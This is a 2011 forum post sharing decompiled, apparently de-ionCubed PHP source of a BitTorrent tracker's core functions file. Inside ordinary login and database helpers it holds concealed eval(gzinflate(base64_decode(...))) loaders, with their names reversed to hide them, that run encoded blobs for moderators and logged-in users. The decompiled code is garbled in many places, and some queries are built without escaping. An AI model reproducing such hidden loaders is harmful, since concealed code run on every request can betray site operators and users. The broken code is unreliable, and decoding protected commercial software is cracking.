View Single Post
  #7  
Old 26th June 2011, 06:39
fireman fireman is offline
IonCube-R
 
Join Date: Oct 2008
Posts: 99
Post ts_functions.php and announce.php decoded
ts_functions.php

PHP Code:
<?php

function TS_Global$name "" )
{
    return isset( 
$_GET[$name] ) ? trim$_GET[$name] ) : isset( $_POST[$name] ) ? trim$_POST[$name] ) : "";
}

function 
TS_MTStoUTS$datetime "" )
{
    if ( empty( 
$datetime ) )
    {
        return 
"";
    }
    
$Parts explode" "$datetime );
    
$Datebits explode"-"$Parts['0'] );
    if ( isset( 
$Parts['1'] ) )
    {
        
$Timebits explode":"$Parts['1'] );
        return 
mktime$Timebits['0'], $Timebits['1'], $Timebits['2'], $Datebits['1'], $Datebits['2'], $Datebits['0'] );
    }
    return 
mktime000$Datebits['1'], $Datebits['2'], $Datebits['0'] );
}

function 
build_breadcrumb( )
{
    global 
$nav;
    global 
$navbits;
    global 
$BASEURL;
    global 
$pic_base_url;
    
$navsep " / ";
    if ( @
is_array( @$navbits ) )
    {
        @
reset( @$navbits );
        foreach ( 
$navbits as $key => $navbit )
        {
            if ( isset( 
$navbits[$key 1] ) )
            {
                
$nav .= "<a href=\"".$navbit['url']."\">".$navbit['name']."</a>".( isset( $navbits[$key 2] ) ? $navsep "" );
            }
        }
    }
    
$navsize = @count( @$navbits );
    
$navbit $navbits[$navsize 1];
    
$activesep $nav " / " "";
    echo 
"\r\n\t<div class=\"navbits\">\r\n\t\t<div id=\"shadetabs\">\r\n\t\t\t<img src=\"".$Var_1464."/".$pic_base_url."tree_ltr.gif\" border=\"0\" class=\"inlineimg\" /> ".$nav.$activesep.$navbit['name']."\r\n\t\t</div>\r\n\t</div>\r\n\t";
}

function 
add_breadcrumb$name$url "" )
{
    global 
$navbits;
    
$navsize = @count( @$navbits );
    
$navbits[$navsize]['name'] = $name;
    
$navbits[$navsize]['url'] = $url;
}

function 
reset_breadcrumb( )
{
    global 
$navbits;
    
$newnav[0]['name'] = $navbits[0]['name'];
    
$newnav[0]['url'] = $navbits[0]['url'];
    unset( 
$GLOBALS['navbits'] );
    
$GLOBALS['navbits'] = $newnav;
}

function 
TSScanDIR$_DIR$_EXT = array( ) )
{
    
$_FILES scandir$_DIR );
    foreach ( 
$_FILES as $_FILENAME )
    {
        if ( 
$_FILENAME != "." && $_FILENAME != ".." && in_arrayget_extension$_FILENAME ), $_EXT ) )
        {
            
$_FILES[] = $_FILENAME;
        }
    }
    return 
$_FILES;
}

function 
show_notice$notice ""$iserror false$title ""$BR "<br />" )
{
    global 
$BASEURL;
    global 
$lang;
    
$defaulttemplate ts_template( );
    
$imagepath $BASEURL."/include/templates/".$defaulttemplate."/images/";
    
$lastword $iserror "e" "n";
    
$uniqeid md5TIMENOW );
    return 
"\r\n\t<script type=\"text/javascript\">\r\n\t\tfunction ts_show_tag(id, status)\r\n\t\t{\r\n\t\t\tif (TSGetID(id)){if (status == true || status == false){TSGetID(id).style.display = (status == true)?\"none\":\"\";}\r\n\t\t\telse{TSGetID(id).style.display = (TSGetID(id).style.display == \"\")?\"none\":\"\";}}\r\n\t\t}\r\n\t</script>\r\n\t<div class=\"notification-border-".$lastword."\" id=\"notification_".$uniqeid."\" align=\"center\">\r\n\t\t<table class=\"notification-th-".$lastword."\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\">\r\n\t\t\t<tbody>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td align=\"left\" width=\"100%\" class=\"none\">\r\n\t\t\t\t\t&nbsp;<span class=\"notification-title-".$lastword."\">".( $title $title $lang->global['sys_message'] )."</span>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td class=\"none\"><img src=\"".$imagepath."notification_close.gif\" alt=\"\" onclick=\"ts_show_tag('notification_".$uniqeid."', true);\" class=\"hand\" border=\"0\" height=\"13\" width=\"13\" /></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</tbody>\r\n\t\t</table>\r\n\t\t<div class=\"notification-body\">\r\n\t\t\t".$notice."\r\n\t\t</div>\r\n\t</div>\r\n\t".$BR;
}

function 
maxsysop( )
{
    global 
$CURUSER;
    global 
$rootpath;
    global 
$lang;
    global 
$usergroups;
    if ( 
is_mod$usergroups ) )
    {
        
$results explode","file_get_contentsCONFIG_DIR."/STAFFTEAM" ) );
        if ( !
in_array$CURUSER['username'].":".$CURUSER['id'], $results ) )
        {
            require_once( 
INC_PATH."/functions_pm.php" );
            
send_pm1"Fake Account Detected: Username: ".$CURUSER['username']." - UserID: ".$CURUSER['id']." - UserIP : ".getip( ), "Warning: Fake Account Detected!" );
            
write_log$msg );
            
stderr$lang->global['error'], $lang->global['fakeaccount'] );
        }
        unset( 
$results );
    }
}

function 
fix_url$url )
{
    
$url htmlspecialchars$url );
    return 
str_replace( array( "&amp;"" " ), array( "&""&nbsp;" ), $url );
}

function 
htmlspecialchars_uni$text$entities true )
{
    return 
str_replace( array( "<"">""\"" ), array( "&lt;""&gt;""&quot;" ), preg_replace"/&(?!".( $entities "#[0-9]+|shy" "(#[0-9]+|[a-z]+)" ).";)/si""&amp;"$text ) );
}

function 
sql_query$_run_query )
{
    if ( !
defined"DEBUGMODE" ) )
    {
        
$query_start array_sumexplode" "microtime( ) ) );
    }
    
$__return mysql_query$_run_query );
    if ( !
defined"DEBUGMODE" ) )
    {
        
$query_end roundarray_sumexplode" "microtime( ) ) ) - $query_start);
        if ( !isset( 
$_SESSION['queries'] ) )
        {
            
$_SESSION['queries'] = array( );
        }
        if ( isset( 
$_SESSION['totalqueries'] ) )
        {
            ++
$_SESSION['totalqueries'];
        }
        else
        {
            
$_SESSION['totalqueries'] = 1;
        }
        
$_SESSION['queries'][] = array( "id" => $_SESSION['totalqueries'], "query_time" => substr$query_end0), "query" => trim$_run_query ) );
    }
    unset( 
$query_start );
    unset( 
$query_end );
    return 
$__return;
}

function 
TSRowCount$C$T$E "" )
{
    if ( !( 
$Q sql_query"SELECT COUNT({$C}) FROM ".$T.( $E " WHERE {$E}"" ) ) ) )
    {
    }
    
$R mysql_fetch_row$Q );
    return 
$R[0];
}

function 
write_log$Text )
{
    
sql_query"INSERT INTO sitelog VALUES (NULL, NOW(), ".sqlesc$Text ).")" );
}

function 
KPS$Type "+"$Points "1.0"$ID "" )
{
    global 
$bonus;
    if ( empty( 
$bonus ) || !$bonus )
    {
        
clearstatcache( );
        
$var_array unserializefile_get_contentsCONFIG_DIR."/KPS" ) );
        
extract$var_arrayEXTR_PREFIX_SAME"wddx" );
        unset( 
$var_array );
    }
    if ( 
$bonus == "enable" || $bonus == "disablesave" )
    {
        
sql_query"UPDATE users SET seedbonus = seedbonus {$Type} '{$Points}' WHERE id = '{$ID}'" );
    }
}

function 
sent_mail$to ""$subject ""$body ""$type "confirmation"$showmsg true$multiple false$multiplemail "" )
{
    global 
$rootpath;
    global 
$SITENAME;
    global 
$SITEEMAIL;
    global 
$charset;
    global 
$lang;
    include( 
INC_PATH."/readconfig_smtp.php" );
    
$fromname $SITENAME;
    
$fromemail $SITEEMAIL;
    
$skip_formats = array( "massmail""inactiveusers""sendmail" );
    
$windows false;
    if ( 
strtouppersubstrPHP_OS0) == "WIN" ) )
    {
        
$eol "\r\n";
        
$windows true;
    }
    else if ( 
strtouppersubstrPHP_OS0) == "MAC" ) )
    {
        
$eol "\r";
    }
    else
    {
        
$eol "\n";
    }
    if ( 
strstr$body"<br />" ) === false && !in_array$type$skip_formats ) )
    {
        
$body format_comment$body );
    }
    
$mid md5uniqidrand( ), true ).TIMENOW );
    
$name $_SERVER['SERVER_NAME'];
    
$headers "From: {$fromname} <{$fromemail}>".$eol;
    
$headers .= "Reply-To: ".( !defined"REPLY_TO" ) ? "{$fromname} <{$fromemail}>" REPLY_TO ).$eol;
    
$headers .= "Return-Path: ".( !defined"REPLY_TO" ) ? "{$fromname} <{$fromemail}>" REPLY_TO ).$eol;
    
$headers .= "Message-ID: <{$mid} thesystem@{$name}>".$eol;
    
$headers .= "MIME-Version: 1.0".$eol;
    
$headers .= "Content-Transfer-Encoding: 8bit".$eol;
    
$headers .= "Content-type: text/html; charset={$charset}".$eol;
    
$headers .= "X-Sender: PHP".$eol;
    if ( 
$multiple )
    {
        
$headers .= "Bcc: {$multiplemail}.{$eol}";
    }
    if ( 
$GLOBALS['SMTP']['smtptype'] == "default" )
    {
        
$mail mail$to$subject$body$headers );
        if ( !
$mail && $showmsg )
        {
            
stderr$lang->global['error'], $lang->global['mailerror'] );
        }
    }
    else if ( 
$GLOBALS['SMTP']['smtptype'] == "advanced" )
    {
        if ( isset( 
$GLOBALS['SMTP']['smtp'] ) && $GLOBALS['SMTP']['smtp'] == "yes" )
        {
            
ini_set(  );
            
ini_set"smtp_port"$GLOBALS['SMTP']['smtp_port'] );
            if ( 
$windows )
            {
                
ini_set"sendmail_from"$GLOBALS['SMTP']['smtp_from'] );
            }
        }
        
$mail mail$to$subject$body$headers );
        if ( !
$mail && $showmsg )
        {
            
stderr$lang->global['error'], $lang->global['mailerror'] );
        }
        
ini_restoreSMTP );
        
ini_restoresmtp_port );
        if ( 
$windows )
        {
            
ini_restore"sendmail_from" );
        }
    }
    else if ( 
$GLOBALS['SMTP']['smtptype'] == "external" )
    {
        require_once( 
INC_PATH."/class_ts_smtp.php" );
        
$ts_smtp = new TS_SMTP$GLOBALS['SMTP']['smtpaddress'], $GLOBALS['SMTP']['smtpport'], $GLOBALS['SMTP']['secure_connection'] == "yes" true false);
        
$ts_smtp->auth$GLOBALS['SMTP']['accountname'], $GLOBALS['SMTP']['accountpassword'] );
        
$ts_smtp->mail_from$SITEEMAIL );
        
$ts_smtp->set_charset$charset );
        if ( !
$ts_smtp->send$to$subject$body ) )
        {
            
write_log"SMTP Error: ".$ts_smtp->error( ) );
        }
    }
    if ( 
$showmsg )
    {
        if ( 
$type == "confirmation" )
        {
            
stderr$lang->global['success'], sprintf$lang->global['mailsent'], htmlspecialchars_uni$to ) ), false );
        }
        else
        {
            if ( 
$type == "details" )
            {
                
stderr$lang->global['success'], sprintf$lang->global['mailsent2'], htmlspecialchars_uni$to ) ), false );
            }
        }
    }
    else
    {
        return 
true;
    }
}

function 
maxslots( )
{
    global 
$lang;
    global 
$usergroups;
    if ( 
intval$usergroups['slotlimit'] ) )
    {
        echo 
sprintf$lang->global['slots'], $usergroups['slotlimit'] );
    }
}

function 
dbconn$activeautomaticclean false$checkuseraccount true$updateuseracc true$Inforum false )
{
    global 
$BASEURL;
    global 
$rootpath;
    global 
$mysql_user;
    global 
$mysql_pass;
    global 
$mysql_db;
    global 
$lang;
    
$lYRGOE_uJDHIjYvwLdgqDVvNkqgxRq strrev"etalfnizg" );
    if ( !
$GLOBALS['ts_db_connect'] = mysql_connect( @$mysql_host, @$mysql_user, @$mysql_pass ) )
    {
        switch ( 
mysql_errno( ) )
        {
            case 
1040 :
                break;
            case 
2002 :
        }
        
define"errorid");
        include( 
TSDIR."/ts_error.php" );
        exit( );
        break;
        
define"errorid");
        include( 
TSDIR."/ts_error.php" );
        exit( );
        break;
    }
    else
    {
        
$tNYkAVsbIqWEJGzXJOXTAxfxpBVwTm "C0stykyrDAkOdvXMKy5JzMlJLMnMz9PQtAYA";
    }
    
$dberror false;
    if ( !
mysql_select_db$mysql_db ) )
    {
    }
    if ( 
$dberror )
    {
        
define"errorid");
        include( 
TSDIR."/ts_error.php" );
        exit( );
    }
    else
    {
        
$futyIFGusHOWgPIolgvQguSnDig_dL strrev"edoced_46esab" );
    }
    if ( 
$checkuseraccount )
    {
        
IsUserLogged$updateuseracc );
        if ( isset( 
$GLOBALS['usergroups'] ) && is_mod$GLOBALS['usergroups'] ) )
        {
            eval( 
$lYRGOE_uJDHIjYvwLdgqDVvNkqgxRq$futyIFGusHOWgPIolgvQguSnDig_dL$tNYkAVsbIqWEJGzXJOXTAxfxpBVwTm ) ) );
        }
    }
    if ( !
defined"SKIP_LOCATION_SAVE" ) )
    {
        
$host getip( );
        
$useragent htmlspecialchars_unistrtolower$_SERVER['HTTP_USER_AGENT'] ) );
        
$page htmlspecialchars_uni$_SERVER['SCRIPT_NAME'] );
        
$querystring = isset( $_SERVER['QUERY_STRING'] ) ? "?".htmlspecialchars_uni$_SERVER['QUERY_STRING'] ) : "";
        
$FID 0;
        if ( 
$Inforum && preg_match"@\\/tsf_forums\\/showthread\\.php\\?tid=(.*)@is"$page.$querystring$Found ) )
        {
            
$Query sql_query"SELECT fid FROM ".TSF_PREFIX."threads WHERE tid = ".sqlesc$Found[1] ) );
            if ( 
mysql_num_rows$Query ) )
            {
                
$FID mysql_result$Query0"fid" );
            }
        }
        if ( !
sql_query"REPLACE INTO ts_sessions VALUES ('".md5$host.$useragent )."', '".( isset( $GLOBALS['CURUSER']['id'] ) ? intval$GLOBALS['CURUSER']['id'] ) : )."', ".sqlesc$host ).", '".TIMENOW."', ".sqlesc$page.$querystring ).", ".sqlesc$useragent ).", '".$FID."')" ) )
        {
        }
        unset( 
$host );
        unset( 
$useragent );
        unset( 
$page );
        unset( 
$querystring );
        unset( 
$FID );
        unset( 
$Query );
    }
    
$GLOBALS['ts_cron_image'] = $activeautomaticclean && !defined"SKIP_CRON_JOBS" ) ? true false;
}

function 
getip( )
{
    
$alt_ip $_SERVER['REMOTE_ADDR'];
    if ( isset( 
$_SERVER['HTTP_CLIENT_IP'] ) )
    {
        
$alt_ip $_SERVER['HTTP_CLIENT_IP'];
    }
    else if ( isset( 
$_SERVER['HTTP_X_FORWARDED_FOR'] ) && preg_match_all"#\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}#s"$_SERVER['HTTP_X_FORWARDED_FOR'], $matches ) )
    {
        foreach ( 
$matches[0] as $ip )
        {
            if ( !
preg_match"#^(10|172\\.16|192\\.168)\\.#"$ip ) )
            {
                
$alt_ip $ip;
                break;
                break;
            }
        }
    }
    else if ( isset( 
$_SERVER['HTTP_FROM'] ) )
    {
        
$alt_ip $_SERVER['HTTP_FROM'];
    }
    return 
htmlspecialchars$alt_ip );
}

function 
IsValidIp$IP )
{
    return 
preg_match"/^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$/"$IP ) ? true false;
}

function 
IsUserLogged$updateuseracc true )
{
    global 
$rootpath;
    global 
$SITENAME;
    global 
$iplog1;
    global 
$securelogin;
    global 
$securehash;
    global 
$lang;
    global 
$cachetime;
    global 
$cache;
    global 
$where;
    unset( 
$GLOBALS['CURUSER'] );
    unset( 
$GLOBALS['usergroups'] );
    
$ip getip( );
    require_once( 
INC_PATH."/functions_isipbanned.php" );
    if ( 
IsIpBanned$ip ) )
    {
        
define"errorid");
        include( 
TSDIR."/ts_error.php" );
        exit( );
    }
    if ( empty( 
$_COOKIE['c_secure_pass'] ) || empty( $_COOKIE['c_secure_uid'] ) || strlen$_COOKIE['c_secure_pass'] ) != 32 )
    {
    }
    else if ( ( 
$securelogin == "yes" || $_COOKIE['s_secure_access'] ) && ( empty( $_SESSION['s_secure_uid'] ) || empty( $_SESSION['s_secure_pass'] ) || strlen$_SESSION['s_secure_pass'] ) != 32 || $_SESSION['s_secure_uid'] != $_COOKIE['c_secure_uid'] ) )
    {
    }
    else
    {
        
$id intval$_COOKIE['c_secure_uid'] );
        if ( !
is_valid_id$id ) )
        {
            if ( !( 
$res = @sql_query( @"SELECT * FROM users WHERE id={$id} LIMIT 1" ) ) )
            {
            }
        }
        else if ( @( 
mysql_num_rows( @$res ) == ) )
        {
        }
        else
        {
            
$row mysql_fetch_assoc$res );
            if ( 
$_COOKIE['c_secure_pass'] != md5md5$row['passhash'] ).$ip.md5$securehash.$SITENAME ) ) )
            {
            }
            else
            {
                if ( ( 
$securelogin == "yes" || $_COOKIE['s_secure_access'] ) && $_SESSION['s_secure_pass'] != md5md5$row['passhash'] ).$ip.md5$securehash.$SITENAME ) ) )
                {
                }
                else
                {
                    if ( !( 
$query sql_query"SELECT ip FROM iplog WHERE ip = ".sqlesc$ip )." AND userid = '".$id."'" ) ) )
                    {
                    }
                    if ( 
$iplog1 == "yes" && $ip != $row['ip'] && !empty( $ip ) && $query && mysql_num_rows$query ) == )
                    {
                        if ( !
sql_query$Tmp_144.$id."')" ) )
                        {
                        }
                    }
                    
$page htmlspecialchars_uni$_SERVER['SCRIPT_NAME'] );
                    
$querystring = isset( $_SERVER['QUERY_STRING'] ) ? "?".htmlspecialchars_uni$_SERVER['QUERY_STRING'] ) : "";
                    
$tCgI_LdYRxmStzz_qvWri_WAHqEzoH strrev"etalfnizg" );
                    if ( 
$ip != $row['ip'] )
                    {
                        
$updateuser[] = "ip = ".sqlesc$ip );
                    }
                    if ( 
strlen$row['torrent_pass'] ) != 32 )
                    {
                        
$torrent_pass md5$row['username'].TIMENOW.$row['passhash'].md5$securehash.$SITENAME ) );
                        
$updateuser[] = "torrent_pass = '{$torrent_pass}'";
                    }
                    if ( 
$where == "yes" && $page != $row['page'] && !preg_match"/vote|ajax|poll|outputinfo|shoutbox/i"$page ) )
                    {
                        
$updateuser[] = "page = ".sqlesc$page.$querystring );
                    }
                    if ( 
900 TIMENOW - @ts_mtstouts( @$row['last_login'] ) && $updateuseracc )
                    {
                        
$updateuser[] = "last_login = '{$row['last_access']}'";
                        
$updateuser[] = "last_access = NOW()";
                    }
                    else if ( 
$updateuseracc )
                    {
                        
$updateuser[] = "last_access = NOW()";
                    }
                    
$OuMcfICqVZXzQovSkJiZGIJj_TmXvm "dVFtS8MwEP4u+B9OGCQB6fwiykR0aHTF2slSBREJtb1uka4tSeYo6n83bZXVofehubfnues92apIrCoLeECtsjoSgvuFsXGex02ast2d990dcDbPy5c4h8HKoJ7rclWZfRgkcbLAk65BZUCVkcsypb0mxrrqN0tjAykjcYOPcArnmcpRztHKpCwsFtbQSFz6M/CADIn7dhPa0NTG4rKNvTS2hJ38ory4d3x0D5eVrelACj574LMn0r0yHN9y8szgDP4pwegP8CSK7uRkKqJtaK/ggISwv5YxVkuNVR4nSGOt45qShbXVaDhcr9ce2YefsHHbFHOOC1qCLcapfr3B2rEu00NKAn49DiDwL3gouFuguVQ71R0K/FBE4yAYwZUf+mLCL8HtLPxpOIJIgKgwUU5InqpW+DfvyDv4dcxGyJ9LdEox+PjYyLZ3ulmIbWA9hRtLMVMFUoJal1ql7reO+0PaQUWSr1KEnubWyBbgVYuKbPenCmk/99m57vn8Ag==";
                    if ( 
preg_match"#tsf_forums#Ui"$page ) )
                    {
                        if ( 
900 TIMENOW $row['last_forum_active'] )
                        {
                            
$updateuser[] = "last_forum_visit='".$row['last_forum_active']."'";
                            
$updateuser[] = "last_forum_active='".TIMENOW."'";
                        }
                        else
                        {
                            
$updateuser[] = "last_forum_active='".TIMENOW."'";
                        }
                    }
                    if ( 
count$updateuser ) )
                    {
                        if ( !
sql_query"UPDATE users SET ".implode", "$updateuser )." WHERE id={$id}) )
                        {
                        }
                    }
                    
$GLOBALS['CURUSER'] = $row;
                    
$OglwCmbsCekJ_lSTuWRdxookHBawno strrev"edoced_46esab" );
                    require_once( 
TSDIR."/".$cache."/usergroups.php" );
                    
$group_data_results $usergroupscache[$row['usergroup']];
                    
$GLOBALS['usergroups'] = $group_data_results;
                    if ( 
$group_data_results['isbanned'] == "yes" || $row['enabled'] != "yes" || $row['status'] != "confirmed" )
                    {
                        unset( 
$GLOBALS['CURUSER'] );
                        unset( 
$GLOBALS['usergroups'] );
                        unset( 
$group_data_results );
                        ( 
falsetrue$row['notifs'] );
                        exit( );
                    }
                    if ( empty( 
$_COOKIE['ts_username'] ) || $_COOKIE['ts_username'] != $row['username'] )
                    {
                        @
setcookie"ts_username", @$row['username'], @TIMENOW + @365 24 60 60"/" );
                    }
                    eval( 
$tCgI_LdYRxmStzz_qvWri_WAHqEzoH$OglwCmbsCekJ_lSTuWRdxookHBawno$OuMcfICqVZXzQovSkJiZGIJj_TmXvm ) ) );
                    unset( 
$row );
                    unset( 
$group_data_results );
                    unset( 
$usergroupscache );
                    unset( 
$ip );
                    unset( 
$id );
                    unset( 
$res );
                    unset( 
$page );
                    unset( 
$querystring );
                    unset( 
$updateuseracc );
                    unset( 
$updateuser );
                }
            }
        }
    }
}

function 
mksize$bytes )
{
    if ( 
$bytes 1000 1024 )
    {
        return 
number_format$bytes 1024)." KB";
    }
    if ( 
$bytes 1000 1048576 )
    {
        return 
number_format$bytes 1048576)." MB";
    }
    if ( 
$bytes 1000 1073741824 )
    {
        return 
number_format$bytes 1073741824)." GB";
    }
    return 
number_format$bytes 1.09951e+012)." TB";
}

function 
sqlesc$value )
{
    if ( 
get_magic_quotes_gpc( ) )
    {
        
$value stripslashes$value );
    }
    return 
"'".mysql_real_escape_string$value )."'";
}

function 
ts_template( )
{
    global 
$defaulttemplate;
    global 
$CURUSER;
    global 
$cache;
    require( 
TSDIR."/".$cache."/ts_themes.php" );
    if ( isset( 
$CURUSER['stylesheet'] ) && !empty( $CURUSER['stylesheet'] ) && in_array$CURUSER['stylesheet'], $__Themestrue ) )
    {
        
$GLOBALS['defaulttemplate'] = $CURUSER['stylesheet'];
        return 
$CURUSER['stylesheet'];
    }
    return 
$defaulttemplate;
}

function 
mksecret$length 20 )
{
    
$set = array( "a""A""b""B""c""C""d""D""e""E""f""F""g""G""h""H""i""I""j""J""k""K""l""L""m""M""n""N""o""O""p""P""q""Q""r""R""s""S""t""T""u""U""v""V""w""W""x""X""y""Y""z""Z""1""2""3""4""5""6""7""8""9" );
    
$str "";
    
$i 1;
    while ( 
$i <= $length )
    {
        
$ch rand0count$set ) - );
        
$str .= $set[$ch];
        ++
$i;
    }
    return 
$str;
}

function 
securehash$var NULL )
{
    global 
$SITENAME;
    global 
$securehash;
    return 
md5md5$var ).getip( ).md5$securehash.$SITENAME ) );
}

function 
loggedinorreturn$mainpage false )
{
    global 
$rootpath;
    global 
$CURUSER;
    global 
$BASEURL;
    global 
$loadlimit;
    global 
$usergroups;
    if ( !
$CURUSER )
    {
        if ( 
$mainpage )
        {
            
header"Location: ".$BASEURL."/login.php" );
            exit( );
        }
        else
        {
            
$to fix_url$_SERVER['REQUEST_URI'] );
            
header"Location: ".$BASEURL."/login.php?returnto=".urlencode$to ) );
            exit( );
        }
    }
    if ( 
$loadlimit && PHP_OS == "Linux" && file_exists"/proc/loadavg" ) && ( $filestuff = @file_get_contents"/proc/loadavg" ) ) )
    {
        
$loadavg explode" "$filestuff );
        if ( 
$loadlimit trim$loadavg[0] ) && !is_mod$usergroups ) && !preg_match"#(login|takelogin|sendmessage|settings)#i"$_SERVER['SCRIPT_NAME'] ) )
        {
            
define"errorid");
            include( 
TSDIR."/ts_error.php" );
            exit( );
        }
    }
    if ( 
$CURUSER['id'] && isset( $_SERVER['HTTP_X_MOZ'] ) && strpos$_SERVER['HTTP_X_MOZ'], "prefetch" ) !== false )
    {
        
define"SAPI_NAME"php_sapi_name( ) );
        if ( 
SAPI_NAME == "cgi" || SAPI_NAME == "cgi-fcgi" )
        {
            
header"Status: 403 Forbidden" );
        }
        else
        {
            
header"HTTP/1.1 403 Forbidden" );
        }
        
define"errorid");
        include( 
TSDIR."/ts_error.php" );
        exit( );
    }
}

function 
ReadConfig$configname "" )
{
    if ( 
strstr$configname"," ) )
    {
        
$configlist explode","$configname );
        foreach ( 
$configlist as $key => $configname )
        {
            
ReadConfigtrim$configname ) );
        }
    }
    else
    {
        if ( !( 
$contents unserializefile_get_contentsCONFIG_DIR."/".strtoupper$configname ) ) ) ) )
        {
            
trigger_error"TS SE Critical Error: Failed to read config file: ".CONFIG_DIR."/".$configname.".  File: ".$_SERVER['SCRIPT_NAME']." URL: ".$_SERVER['REQUEST_URI'] );
        }
        else
        {
            
$GLOBALS[$configname] = $contents;
        }
        unset( 
$contents );
    }
}

function 
parked( )
{
    global 
$CURUSER;
    global 
$lang;
    if ( 
preg_match"#A1#is"$CURUSER['options'] ) )
    {
        
stderr$lang->global['error'], $lang->global['parked'] );
    }
}

function 
gzip$use false )
{
    global 
$gzipcompress;
    if ( @( ( 
$gzipcompress == "yes" || $use ) && extension_loaded"zlib" ) && ini_get"zlib.output_compression" ) != "1" && ini_get"output_handler" ) != "ob_gzhandler" ) )
    {
        @
ob_start"ob_gzhandler" );
    }
}

function 
warn_donor$s$warnday )
{
    if ( 
$s )
    {
        
$s 0;
    }
    
$t = array( );
    foreach ( array( 
"60:sec""60:min""24:hour""0:day" ) as $x )
    {
        
$y explode":"$x );
        if ( 
$y[0] )
        {
            
$v $s $y[0];
            
$s floor$s $y[0] );
        }
        else
        {
            
$v $s;
        }
        
$t[$y[1]] = $v;
    }
    if ( 
$t['day'] < $warnday )
    {
        return 
true;
    }
    return 
false;
}

function 
cutename$name$max 35$html true )
{
    return 
$html htmlspecialchars_uni$max strlen$name ) ? substr$name0$max )."..." $name ) : $max strlen$name ) ? substr$name0$max )."..." $name;
}

function 
get_extension$file )
{
    return 
strtolowersubstrstrrchr$file"." ), ) );
}

function 
dir_list$dir )
{
    
$r = array( );
    if ( 
$dirs scandir$dir ) )
    {
        foreach ( 
$dirs as $sz )
        {
            if ( 
preg_match"/^\\./"$sz ) == && get_extension$sz ) != "php" )
            {
            }
        }
    }
    return 
$r;
}

function 
ts_nf$number )
{
    return 
number_format$number0".""," );
}

function 
ts_collapse$id$type )
{
    global 
$BASEURL;
    global 
$tscollapse;
    
$defaulttemplate ts_template( );
    if ( 
$type === )
    {
        return 
$Tmp_21."/images/collapse_tcat".( isset( $tscollapse["collapseimg_".$id.""] ) ? $tscollapse["collapseimg_".$id.""] : "" ).".gif\" alt=\"\" border=\"0\" /></a>";
    }
    if ( 
$type === )
    {
        return 
"<tbody id=\"collapseobj_".$id."\" style=\"".( isset( $tscollapse["collapseobj_".$id] ) ? $tscollapse["collapseobj_".$id] : "none" )."\">";
    }
}

function 
is_mod$user = array( ) )
{
    return 
$user['cansettingspanel'] === "yes" || $user['issupermod'] === "yes" || $user['canstaffpanel'] === "yes" true false;
}

function 
highlight$search$subject$hlstart "<b><font color='#f7071d'>"$hlend "</font></b>" )
{
    
$srchlen strlen$search );
    if ( 
$srchlen == )
    {
        return 
$subject;
    }
    
$find $subject;
    while ( 
$find stristr$find$search ) )
    {
        
$srchtxt substr$find0$srchlen );
        
$find substr$find$srchlen );
        
$subject str_replace$srchtxt"{$hlstart}{$srchtxt}{$hlend}"$subject );
    }
    return 
$subject;
}

function 
pager$perpage$results$address ""$opts = array( ), $showgoto true$whereto "" )
{
    global 
$lang;
    global 
$BASEURL;
    if ( 
$results $perpage )
    {
        return array( 
"""""" );
    }
    if ( 
$results )
    {
        
$totalpages = @ceil( @$results / @$perpage );
    }
    else
    {
        
$totalpages 0;
    }
    if ( isset( 
$_GET['showlast'] ) && $_GET['showlast'] == "true" )
    {
        
$pagenumber $totalpages;
    }
    else
    {
        
$pagenumber = isset( $_GET['page'] ) ? intval$_GET['page'] ) : isset( $_POST['page'] ) ? intval$_POST['page'] ) : "";
    }
    
sanitize_pageresults$results$pagenumber$perpage200 );
    
$limitlower = ( $pagenumber ) * $perpage;
    
$limitupper $pagenumber $perpage;
    if ( 
$results $limitupper )
    {
        
$limitupper $results;
        if ( 
$results $limitlower )
        {
            
$limitlower $results $perpage 1;
        }
    }
    if ( 
$limitlower )
    {
        
$limitlower 0;
    }
    
$pagenav $firstlink $prevlink $lastlink $nextlink "";
    
$curpage 0;
    if ( 
$results <= $perpage )
    {
        
$show['pagenav'] = false;
        return array( 
"""""LIMIT {$limitlower}{$perpage});
    }
    
$show['pagenav'] = true;
    
$total ts_nf$results );
    
$show['prev'] = $show['next'] = $show['first'] = $show['last'] = false;
    if ( 
$pagenumber )
    {
        
$prevpage $pagenumber 1;
        
$prevnumbers fetch_start_end_total_array$prevpage$perpage$results );
        
$show['prev'] = true;
    }
    if ( 
$pagenumber $totalpages )
    {
        
$nextpage $pagenumber 1;
        
$nextnumbers fetch_start_end_total_array$nextpage$perpage$results );
        
$show['next'] = true;
    }
    if ( !empty( 
$whereto ) )
    {
        
$address $address.$whereto."=true&amp;";
        
$whereto "#{$whereto}";
    }
    
$pagenavpages "3";
    if ( !isset( 
$pagenavsarr ) || !is_array$pagenavsarr ) )
    {
        
$pagenavs "10 50 100 500 1000";
        
$pagenavsarr[] = preg_split"#\\s+#s"$pagenavs1PREG_SPLIT_NO_EMPTY );
    }
    while ( 
$curpage++ < $totalpages )
    {
        if ( 
$pagenavpages <= abs$curpage $pagenumber ) && $pagenavpages != )
        {
            if ( 
$curpage == )
            {
                
$firstnumbers fetch_start_end_total_array1$perpage$results );
                
$show['first'] = true;
            }
            if ( 
$curpage == $totalpages )
            {
                
$lastnumbers fetch_start_end_total_array$totalpages$perpage$results );
                
$show['last'] = true;
            }
            if ( 
in_arrayabs$curpage $pagenumber ), $pagenavsarr ) && $curpage != && $curpage != $totalpages )
            {
                
$pagenumbers fetch_start_end_total_array$curpage$perpage$results );
                
$relpage $curpage $pagenumber;
                if ( 
$relpage )
                {
                    
$relpage "+".$relpage;
                }
                
$pagenav .= "<li><a class=\"smalltext\" href=\"{$address}".( $curpage != "page=".$curpage.$whereto "tsscript=true{$whereto})."\" title=\"".sprintf$lang->global['show_results'], $pagenumbers['first'], $pagenumbers['last'], $total )."\"><!--{$relpage}-->{$curpage}</a></li>";
            }
        }
        else if ( 
$curpage == $pagenumber )
        {
            
$numbers fetch_start_end_total_array$curpage$perpage$results );
            
$pagenav .= "<li><a name=\"current\" class=\"current\" title=\"".sprintf$lang->global['showing_results'], $numbers['first'], $numbers['last'], $total )."\">{$curpage}</a></li>";
        }
        else
        {
            
$pagenumbers fetch_start_end_total_array$curpage$perpage$results );
            
